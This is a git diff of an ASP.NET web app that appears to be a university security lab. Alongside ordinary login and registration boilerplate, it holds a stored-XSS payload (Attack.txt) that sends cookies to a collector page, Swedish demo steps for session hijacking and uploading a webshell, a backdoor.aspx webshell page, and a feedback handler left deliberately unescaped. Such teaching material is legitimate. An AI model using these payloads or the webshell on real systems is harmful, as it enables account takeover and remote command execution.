z`g4>0UOXC!Wswe%N)z0NfJ-p$$?8naC*BeKH!V^1IZy>b_UNF87s;-@1?BE>&s*lDINi9nZ^g-`f(DWPLWB zx{>WM2ps7f$n1z}d#-rr7%Ec22rp;bWS<@WiZ*GbvZC83m0$=mab>bP2d>5aBpi@A zJZ1|yGB4}B$r;Yc%lZZV9;J>Wi`d5Q`CjD}n8@Od6Ns;FA(>#V$BcqoGC8MLqvhIc zX&tafZxd|v$XYe9k+zns=fdc|VUo-#G8{n5tN5#(kdIPgoVP#r0%48I+)k0 zMi782lhrw_XGxj#SDrJ$JOt*64C0kDj`a38N|~*tN~guvqF#y5IHL&1Yxg{<3D?tM z!}%q(O9^cc(G-Hq>cR8nD8N;)@04J&BT&*bPcn%I_y}0tU>15XT~EcT?M9R zHk$G$2+LLF$dcOg%Y<)wjJ+BdnP8Akb8=rkMr@dkN1u}W+RA*JnLn9MySTAn?26Vd zvv-M=*{rDUPn)!dcjm>U6?A{vtX`G-VP-|>k!{mjxq535oaXGRX{0b+?P7bfW@l%7 z6OQXyg(kGKcK2+lS`*3BV@&ywt_Kp6YGjV5=Z9di93GmikX3%FDL>MUspN;(;;wd{ zuc@4Pv7vsVPi`Ws>BcQ`gt;S}8B%Ss${tl$!7G-W4Q7m*V3b~F{TQ7MjHtIwut={# z{8*UOp0>v@qUXeFr1w;|;%WzM_R75{!}<#~%6g>_2&Rbox_9DCrW z(B5T!9_O-Tc7^ZEq$90HA#U#6k;+%tr^7^Kf<9YUYM(ZpW$ebpM0=(4q|@|?bROYy z+Yaw5TZEO3Ch4>THFX{>udG1&1x|jsNgH&f>Z#oIj{CK+mvV(MYm zWLHS$9ah)gN;iJEF-vRtU73nUP2h{$Z*unP)H7AmX#IhdSke|{T$}NAH7i`{9=_?k zO|=&e=UgdO%vEHRpBjKOw2bc3b~fqri&Ah0KgE^F>N6TEaNn(kn9CeAI~8=-1pBoK z>!GAGG7vn+Z&G7Y>m|BIb;^@T%}FhKRWtcbsYs&*k4eN|JcKKg)#X6X@?4JCUcEhg z%+o|TJHfcNlHf}ALDglzTL(P`Mh=;!>h$0=TsZ>NdZpW4Bfi9y$?DwD?N9mLa^R;j zjyR4>Kc>II*b&!!M}2Q1Lyf>J2=nL~@FQHAtWJ@hp(PY4uigZ=(@;kcZZe;_xx6D6 zv&>ERG@B7pGI6a2hBA(-*-y37)ud!S|5QnaS~DkWceo$frn1&gGdG5&4CJ+B)~C}M z3u4NyWSzh%F=f&lQ)j`M@I6fCS|MZH#bT4)7dgVx_ctkdNeIT(v69aWE!~+jB1hED zDV2Gv2L;xGo47JrT^n48`~Dv6>`gHQY}`B1F?U+_dzIX8?|hTu)oUhAHtf6p8@uQ|@D^+}Wqa$MHnaTS!Z6e`bT)a_bxY^dpIpV3a^ zD9CZ!n@4TJ^EZNT$z?H^KeQSBJ4U(p@!{;3@(9f4 zZRkakVQeC^K_hp#PSyK2L>^Zrt7}$$9*NcfrIX)i|(Ps)eU5EWwJUQx=wKKfFSmkE*Hezy}pF9(vH!%1pAV+oRzkcK0{wA zHY?BzxwD=LU-dDg(%M_W0cUQH+1vE+*vCxpxy;gK%x?=PYnv9-&C^)D63DZcm=Dzl zyr>OKaJ#gMxcO;HCqsI)z0y|He`ms>>PZt%UXqplTp7UkD)-d{pQTl5F%*L$cw zA^sfA%va)FHzt@yw}6||)EGQJ*F^5#GXXfKlZOvY2*%F-)oJ3mW77wtCB&WCO34sQ z&CGjTGX^|Ik+?EhT~l3+`;}=b<|@ekDnau+vLcA~p0o3B+Wu3yb~48`UB9_v9JyMl zoLxN5IC8eiiKw7*T$!vck$Rj_9}ATvIs418U&gmGGl)yj+qCA*a$3f&pHRoK2g!~z z;vp%I$mu&KcgnX<9 zPU3Gn+21UeXWz*g+-7|`SkqJk%QSY&Wn8EeG)llT?1S=$7y(jVj!42XeC9lid9*wzDrJI+zs>dEns8o^ z3%A&#dQ!dwJ#A8dP$WU8D7;;Q>Q|l|X)xX4?lMc)z2^8Z=A@$At07~w1yq)tcb7;L zUg@*yLDYxw3WVXxWc9wGXMZV8!U)9$z+YvmO5EIi#{~a&)bAhH$e9j|RN?io-_hsb zlV&l-Ad4ifKDG8r=3AKQWI|zOH8R>PnH=VO%(Ya&Qxl3#G$u)o2@BHi-j?9{ z9ku_Kk_Hnz^_(HU47+Opnz%Aq9n&CRU17S)*70 zSp_}JlI6-|b-aRXM%4x@Ad^LCze z<=8|%qO=Mnls2%OPNU`pO-hd*zc?o@`J+Ocx!)Q!@~lDG+spaZw5r=dhj^VP6a-mi zN`EMCd=*OX1+PrXjk3!0SZ3vCF-CESlBz5snVTZVOjr6w=`yc1EK#yPv;%V?Ma!D- zEUG52-^5Y}P>XxFow2D&w57`Lpah%EMz4<0E2K%J*wN3dfoDi_&e624C|PESj5G}6 zzo{i2C1d&+rdHjXw8#1gF40S(#UsAD@Qa-5!007AB~mk+_xxz8mXyay*_DNoMlZ%p z2Q)@fC0fRWOWBC>(#q*!p=IL>T$!wHdu_D*R*qm1v_qxZkUY9<@#0G_y_A_^ zS-Svs1?&dc9k2&rPrzP)y#f0G_658QFcq*LV1K{?fPbKjX?Q&da4_Hyz@dP{051m| z4tNFN2*4`=(*Z{U>Hx0-90fQUa17vBz;S@%0j~y}0ATt5y2geBy6ow?&P4VgxVSP| zz1$q`doA~IMLjuxRiq}@Pjbwd65tiSO#q2EMqxio~kXG8` zjF`*G8fsO7iKOadbrko)zcZ;*k7I?G3wGklWcA+gHr&^HgEwo~okvZ}gSG`@28?Ra z2May{lGrd}%-D6G_9TC2Lapv4vi$UTf_z+=tj?KE+^?K7I&H+48d3JslWa0nfh&{M zYd;_NE3cilGwa!kI(gcLjtz>(mC5Qg2W#DAoJNtjGFiP;-S>-YKd}YbKc(mLvv941 zI(TKWdOcU-z6swPEGX5g29+5kXP3yH5}YY;Kdn4#+5g0h$LEb9mM9umCOdY#kzD{8 zb>R*yvW9{_8b^HckgM!C<4v#E{EVXDF)>{J+->4+!QlHQJ>e?wu^O@zj0x}3n`I1( zF~>AK)8`zWIvFQpJ#H=TeCw5Z$LB8Ct4>zreab^1X=BpGofukleO>5rC$7sbTu0Uu4o$j4e zOnQ|*uNB2rpo=S$)n#C#6-0@Dgr(MYqQ&G|eK`u3##)|NVcqx{u1r>^Mvse}10MI3 zXK6%}ns8Z<b3v6xxt7sFMy(6&vC2Hh zU!O~8N4Z?1bDpi=)9qx?0BP~|R#m#WU01J_3yf9y31TmI&qHnDAKl^PGI_JbE)DgVo@=j=y)_P4;V( zT}n;xPf~6r{MKd9i!ZaK*bB}2U{I-?6%x8-y@AXJn(!dFR7G{ArRvh`wJp`irp8SZ zjP*X~En70OyU|Cgv5St|BGz@P3EsNi_u|do$R1--rf&1FOztDXeVb?jtE{w2N0#80 zWUOxo#(&0}D&Kovw^AfdYi#a^a z7+n~_oJGHlkJ7y4C^JyabdA1~o<7gL4)V%z$!!UkP@%V33v^;{dBms;Z(W8y|6HvU=Qx(X7?wojPPUImZ{KymtZvVj(-B;$d9VF0-sp?D1gn$*K3WzVSV8 zc>6oIIHxit!^>k&kVqfB*`ig4Jy?kaVP4~CH68#Q0fAD zTGZUnLFF1`++*v{M2*Odv8H6F;dO4`vc*$wdE|gwzh~XG>iQ`c;8smvoNei}wI4@$ zWC4Xxvuw$V<+Q7stwmN2dXn*k0ledi%MIWX{k%qe?n5bZu61zl%)uLdjooTamRY@B z3TrsEDm9#AXManikJc(>wH_FjP|ps$qm`-VpE+tf^|PhZQz$w_?4u#@gb@d|o0Zf@ zTn1urp-xVZ3wMnhfz8g?PhUbV%&JPwQHFHZB_I9s!&K- zUu)CHc}uR4Y(Z{_vf(5{#F4FRRqFIp%ZRpk3L@cgQbmoNUaI1HSatcFjAm6Qt&a2* zE`{`Rq*UXmo4cwe8E@0-L(X!Tv|#%veJabS1RcYk#!+?zkSnj(Rg##qcPeM(tQX%o zy1O1eQ7b-kpCvgJNOp|aYR!OLQ&Uk(a-2OCzD^_ha08$TcNveRUBc}BCe%wGk>d#c zcIs9~>S^1gZ;dlhYA^bi;N+Bka#czXZUNQGi>p#clstuxN1VG!&%I^fUB4~K%%$Ym z!<8ux7f-KBEwq*kSO=l(GtMk?cUP$~Zsg5Y1qZ*TaOWa0$Hu)YN>GnpJ?>a=2FYy+ zC9w>uqv6_Z@1HYcBan_^Pdh2ur!Sjc{*p+Bsd97x_GDIZ z3wlMc560QE^!-p~YgCRs`yj0(zwN?V4f;kh7PhpmSWdsBcN7EfoKGDrCGjRph%3Ar zW9R~Fo^=As)#sG!e03=d7+K_r=$zB;N8R)fb^9v^jKXZQ+^8)^UwQ=P(B`6VCox`n zyo`s?rc?6?^m!Qp!g3lL@M3#l%ug0x*A}JgK`(8YV5<6Rlq!jvaDOUwBA&9pX+;Io zy0yk>mF$1cq{y1XFgiEZ44r-Gk$Lp(K}aZlqA-fOYlb4PmQj6=`J=K6M6hIXcZpim zE!3iew#^ny7el_aNSDmz(t{oVFtXO^#ZT?d9g{gUgbUO)L9rY^cXr08+<~Dy5naQ%^$|_` z?#wejheU8hpC|Im$j&-H#5`@Um!kBlKi1;sNUds6HSZ#xxvoLwdq1^1+bq-mTDvR0 ZsQD;22N<((psl&Jxs54a|GLT?`2R;@-%kJl literal 0 HcmV?d00001 diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx new file mode 100644 index 0000000..44ac944 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx @@ -0,0 +1,60 @@ +<%@ Page Title="Change Password" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" + CodeBehind="ChangePassword.aspx.cs" Inherits="myWebApplication.Account.ChangePassword" %> + + + + +

    + Change Password +

    +

    + Use the form below to change your password. +

    +

    + New passwords are required to be a minimum of <%= Membership.MinRequiredPasswordLength %> characters in length. +

    + + + + + + +
    +
    + Account Information +

    + Old Password: + + * +

    +

    + New Password: + + * +

    +

    + Confirm New Password: + + * + * +

    +
    +

    + + +

    +
    +
    +
    +
    diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.cs b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.cs new file mode 100644 index 0000000..274332e --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication.Account +{ + public partial class ChangePassword : System.Web.UI.Page + { + protected void Page_Load(object sender, EventArgs e) + { + + } + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.designer.cs b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.designer.cs new file mode 100644 index 0000000..92a6a6a --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication.Account +{ + + + public partial class ChangePassword + { + + /// + /// ChangeUserPassword control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.ChangePassword ChangeUserPassword; + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx new file mode 100644 index 0000000..7921c0b --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx @@ -0,0 +1,13 @@ +<%@ Page Title="Change Password" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" + CodeBehind="ChangePasswordSuccess.aspx.cs" Inherits="myWebApplication.Account.ChangePasswordSuccess" %> + + + + +

    + Change Password +

    +

    + Your password has been changed successfully. +

    +
    diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.cs b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.cs new file mode 100644 index 0000000..ac4ac18 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication.Account +{ + public partial class ChangePasswordSuccess : System.Web.UI.Page + { + protected void Page_Load(object sender, EventArgs e) + { + + } + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.designer.cs b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.designer.cs new file mode 100644 index 0000000..a2bafe4 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.designer.cs @@ -0,0 +1,17 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication.Account +{ + + + public partial class ChangePasswordSuccess + { + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/Login.aspx b/lab3/cs_lab3/myWebApplication/Account/Login.aspx new file mode 100644 index 0000000..01e89b8 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Login.aspx @@ -0,0 +1,49 @@ +<%@ Page Title="Log In" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" + CodeBehind="Login.aspx.cs" Inherits="myWebApplication.Account.Login" %> + + + + +

    + Log In +

    +

    + Please enter your username and password. + Register if you don't have an account. +

    + + + + + + +
    + +

    + +

    +
    +
    +
    +
    diff --git a/lab3/cs_lab3/myWebApplication/Account/Login.aspx.cs b/lab3/cs_lab3/myWebApplication/Account/Login.aspx.cs new file mode 100644 index 0000000..ff8744b --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Login.aspx.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication.Account +{ + public partial class Login : System.Web.UI.Page + { + protected void Page_Load(object sender, EventArgs e) + { + RegisterHyperLink.NavigateUrl = "Register.aspx?ReturnUrl=" + HttpUtility.UrlEncode(Request.QueryString["ReturnUrl"]); + } + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/Login.aspx.designer.cs b/lab3/cs_lab3/myWebApplication/Account/Login.aspx.designer.cs new file mode 100644 index 0000000..6bff5b8 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Login.aspx.designer.cs @@ -0,0 +1,35 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication.Account +{ + + + public partial class Login + { + + /// + /// RegisterHyperLink control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.HyperLink RegisterHyperLink; + + /// + /// LoginUser control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Login LoginUser; + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/Register.aspx b/lab3/cs_lab3/myWebApplication/Account/Register.aspx new file mode 100644 index 0000000..aaa0253 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Register.aspx @@ -0,0 +1,75 @@ +<%@ Page Title="Register" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" + CodeBehind="Register.aspx.cs" Inherits="myWebApplication.Account.Register" %> + + + + + + + + + + + + +

    + Create a New Account +

    +

    + Use the form below to create a new account. +

    +

    + Passwords are required to be a minimum of <%= Membership.MinRequiredPasswordLength %> characters in length. +

    + + + + +
    +
    + Account Information +

    + User Name: + + * +

    +

    + E-mail: + + * +

    +

    + Password: + + * +

    +

    + Confirm Password: + + * + * +

    +
    +

    + +

    +
    +
    + + +
    +
    +
    +
    diff --git a/lab3/cs_lab3/myWebApplication/Account/Register.aspx.cs b/lab3/cs_lab3/myWebApplication/Account/Register.aspx.cs new file mode 100644 index 0000000..ef96a3d --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Register.aspx.cs @@ -0,0 +1,32 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.Security; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication.Account +{ + public partial class Register : System.Web.UI.Page + { + + protected void Page_Load(object sender, EventArgs e) + { + RegisterUser.ContinueDestinationPageUrl = Request.QueryString["ReturnUrl"]; + } + + protected void RegisterUser_CreatedUser(object sender, EventArgs e) + { + FormsAuthentication.SetAuthCookie(RegisterUser.UserName, false /* createPersistentCookie */); + + string continueUrl = RegisterUser.ContinueDestinationPageUrl; + if (String.IsNullOrEmpty(continueUrl)) + { + continueUrl = "~/"; + } + Response.Redirect(continueUrl); + } + + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/Register.aspx.designer.cs b/lab3/cs_lab3/myWebApplication/Account/Register.aspx.designer.cs new file mode 100644 index 0000000..ce1b334 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Register.aspx.designer.cs @@ -0,0 +1,35 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication.Account +{ + + + public partial class Register + { + + /// + /// RegisterUser control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.CreateUserWizard RegisterUser; + + /// + /// RegisterUserWizardStep control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.CreateUserWizardStep RegisterUserWizardStep; + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/Web.config b/lab3/cs_lab3/myWebApplication/Account/Web.config new file mode 100644 index 0000000..07059a0 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Web.config @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + diff --git a/lab3/cs_lab3/myWebApplication/Buyform.ascx b/lab3/cs_lab3/myWebApplication/Buyform.ascx new file mode 100644 index 0000000..2aa4606 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Buyform.ascx @@ -0,0 +1,13 @@ +<%@ Control Language="C#" AutoEventWireup="true" CodeBehind="Buyform.ascx.cs" Inherits="myWebApplication.Buyform" %> + +

    BUY STUFF

    + +
    + + +
    + + +
    + + \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Buyform.ascx.cs b/lab3/cs_lab3/myWebApplication/Buyform.ascx.cs new file mode 100644 index 0000000..0c3c0fc --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Buyform.ascx.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication +{ + public partial class Buyform : System.Web.UI.UserControl + { + protected void Page_Load(object sender, EventArgs e) + { + + } + + protected void btnBuy_Click(object sender, EventArgs e) + { + Response.Redirect("default.aspx?page=2"); + } + } +} \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Buyform.ascx.designer.cs b/lab3/cs_lab3/myWebApplication/Buyform.ascx.designer.cs new file mode 100644 index 0000000..e596ddd --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Buyform.ascx.designer.cs @@ -0,0 +1,78 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication { + + + public partial class Buyform { + + /// + /// lblFname control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblFname; + + /// + /// txtFname control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.TextBox txtFname; + + /// + /// lblLname control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblLname; + + /// + /// txtLname control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.TextBox txtLname; + + /// + /// lblAmount control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblAmount; + + /// + /// txtAmount control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.TextBox txtAmount; + + /// + /// btnBuy control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Button btnBuy; + } +} diff --git a/lab3/cs_lab3/myWebApplication/Demo/Attack.txt b/lab3/cs_lab3/myWebApplication/Demo/Attack.txt new file mode 100644 index 0000000..41c7a51 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Demo/Attack.txt @@ -0,0 +1 @@ +%3cscript>document.write('%3cimg src="http://localhost:49834/WriteCookie.aspx?Cookie='%2bdocument.cookie%2b'">');%3c/script> \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Demo/Demoinstruktioner.txt b/lab3/cs_lab3/myWebApplication/Demo/Demoinstruktioner.txt new file mode 100644 index 0000000..cafe1f1 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Demo/Demoinstruktioner.txt @@ -0,0 +1,20 @@ +Demoinstruktioner: + +Firefox - browser för angriparen, Chrome - browser för användaren + +Angripare: +Ett: Gå till förstasidan på applikationen i Firefox, klicka på Feedback. +Två: Klista in koden från filen Attack.txt i kommentarsfältet. + +Vanlig användare: +Tre: Logga in i applikationen. +Fyra: Gå till Visa feedback och när sidan visas kommer autentiseringskakan att skickas och + läggas i C:\tmp\cookie.txt + +Angripare: +Fem: Gå till C:\tmp\cookie.txt och kopiera innehållet +Sex: Öppna cookie manager. Skapa en ny kaka med namn = auth och värde = värdet från cookie.txt +Sju: Gå till Default.aspx med den nya kakan installerad. +Åtta: Gå till fileupload, ladda upp backdoor.aspx +Nio: Surfa till localhost...backdoor.aspx +Tio: Kör något kommando diff --git a/lab3/cs_lab3/myWebApplication/Demo/backdoor.aspx b/lab3/cs_lab3/myWebApplication/Demo/backdoor.aspx new file mode 100644 index 0000000..c523fef --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Demo/backdoor.aspx @@ -0,0 +1,47 @@ +<%@ Page Language="C#" Debug="true" Trace="false" %> +<%@ Import Namespace="System.Diagnostics" %> +<%@ Import Namespace="System.IO" %> + + + +asp.net webshell + + +
    + + +Command: +
    + + diff --git a/lab3/cs_lab3/myWebApplication/Feedback.aspx b/lab3/cs_lab3/myWebApplication/Feedback.aspx new file mode 100644 index 0000000..3f48fbb --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Feedback.aspx @@ -0,0 +1,56 @@ +<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Feedback.aspx.cs" Inherits="myWebApplication.Feedback" %> + + + + + + Send feedback + + + +
    +
    +
    +
    +
    +
    + +
    + + +
    + +
    +
    + + +
    + +
    +
    + +
    + + + +
    +
    + +
    + +
    +
    +
    +
    + Jb +
    +
    +
    + All things Sonic Death Monkey. Directly stolen from High Fidelity movie. As a tribute of sorts... Like it?   +
    +
    + + diff --git a/lab3/cs_lab3/myWebApplication/Feedback.aspx.cs b/lab3/cs_lab3/myWebApplication/Feedback.aspx.cs new file mode 100644 index 0000000..e49fb04 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Feedback.aspx.cs @@ -0,0 +1,41 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication +{ + public partial class Feedback : System.Web.UI.Page + { + protected void Page_Load(object sender, EventArgs e) + { + + if (!IsPostBack) + { + Panel_feedback.Visible = true; + Panel_return.Visible = false; + } + } + + + + protected void btnReturn_Click(object sender, EventArgs e) + { + Response.Redirect("login.aspx"); + } + + protected void btnFeedback_Click(object sender, EventArgs e) + { + //get stuff and pass to database + String name = Server.UrlDecode(txtName.Text); + String comment = Server.UrlDecode(txtFeedback.Text); + + SQLaccess.InsertComment(name,comment); + + Panel_feedback.Visible = false; + Panel_return.Visible = true; + } + } +} \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Feedback.aspx.designer.cs b/lab3/cs_lab3/myWebApplication/Feedback.aspx.designer.cs new file mode 100644 index 0000000..631e1f2 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Feedback.aspx.designer.cs @@ -0,0 +1,114 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication { + + + public partial class Feedback { + + /// + /// form1 control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.HtmlControls.HtmlForm form1; + + /// + /// hfield control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.HiddenField hfield; + + /// + /// Panel_feedback control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Panel Panel_feedback; + + /// + /// lblFeedback control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblFeedback; + + /// + /// txtFeedback control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.TextBox txtFeedback; + + /// + /// lblName control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblName; + + /// + /// txtName control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.TextBox txtName; + + /// + /// btnFeedback control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Button btnFeedback; + + /// + /// Panel_return control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Panel Panel_return; + + /// + /// lblThanks control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblThanks; + + /// + /// btnReturn control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Button btnReturn; + } +} diff --git a/lab3/cs_lab3/myWebApplication/Global.asax b/lab3/cs_lab3/myWebApplication/Global.asax new file mode 100644 index 0000000..908fb6d --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Global.asax @@ -0,0 +1 @@ +<%@ Application Codebehind="Global.asax.cs" Inherits="myWebApplication.Global" Language="C#" %> diff --git a/lab3/cs_lab3/myWebApplication/Global.asax.cs b/lab3/cs_lab3/myWebApplication/Global.asax.cs new file mode 100644 index 0000000..027bb97 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Global.asax.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.Security; +using System.Web.SessionState; + +namespace myWebApplication +{ + public class Global : System.Web.HttpApplication + { + + void Application_Start(object sender, EventArgs e) + { + // Code that runs on application startup + + } + + void Application_End(object sender, EventArgs e) + { + // Code that runs on application shutdown + + } + + void Application_Error(object sender, EventArgs e) + { + // Code that runs when an unhandled error occurs + + } + + void Session_Start(object sender, EventArgs e) + { + // Code that runs when a new session is started + + } + + void Session_End(object sender, EventArgs e) + { + // Code that runs when a session ends. + // Note: The Session_End event is raised only when the sessionstate mode + // is set to InProc in the Web.config file. If session mode is set to StateServer + // or SQLServer, the event is not raised. + + } + + } +} diff --git a/lab3/cs_lab3/myWebApplication/Helpers.cs b/lab3/cs_lab3/myWebApplication/Helpers.cs new file mode 100644 index 0000000..42a342f --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Helpers.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Security.Cryptography; +using System.Text; + +namespace myWebApplication +{ + public class Helpers + { + public static string CalculateMD5Hash(byte [] inputBytes) + { + // step 1, calculate MD5 hash from input + MD5 md5 = System.Security.Cryptography.MD5.Create(); + byte[] hash = md5.ComputeHash(inputBytes); + + // step 2, convert byte array to hex string + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < hash.Length; i++) + { + sb.Append(hash[i].ToString("X2")); + } + return sb.ToString(); + } + } +} \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Properties/AssemblyInfo.cs b/lab3/cs_lab3/myWebApplication/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..5792aa6 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("myWebApplication")] +[assembly: AssemblyDescription("")] +[assembly: 